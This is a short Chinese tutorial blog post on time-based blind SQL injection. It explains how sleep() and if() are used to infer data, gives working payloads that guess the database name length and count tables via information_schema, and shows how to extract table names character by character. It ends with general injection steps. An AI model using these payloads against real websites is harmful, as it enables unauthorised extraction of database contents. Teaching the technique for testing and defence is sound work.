4000-618-418

SQL注入之基于时间的盲注(sql注入 时间注入)

2021年03月29日

基于时间的盲注和基于bool的盲注很相似,只不过基于时间的盲注用于不管执行的SQL语句正确与否,页面都不会给任何提示,因此无法使用bool盲注。基于时间的盲注经常用到的函数除了上面的还有延时函数sleep(),if(c,a,b),如果c为真执行a,否则执行b。


猜解当前数据库名的长度,如果长度大于0就会延时5s:1'and if(length(database())>0,sleep(5),0)#,如图:

猜解当前数据库中数据表的个数:1'and if((select count(*) from information_schema.tables where table_schema=database())>3,sleep(3),0)#;

然后猜解当前数据库中的第一个数据表的第一个字符的ASCII:1'and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97,sleep(3),0)#,同bool注入的步骤一样,只是注入语句有点差异,类比上面的语句即可猜解数所有数据。


1.jpg

在了解SQL注入的方式时,同时也需要掌握SQL注入的一般步骤:

1、测试网页是否存在SQL注入

2、判断SQL注入类型

3、利用SQL语句查询数据库当前用户及数据库

4、利用SQL语句查询表名、列名、字段名以及字段值

上一篇:SQL注入之联合查询(sql建立联合索引)

下一篇:数据库概念一览(数据库系统概念笔记)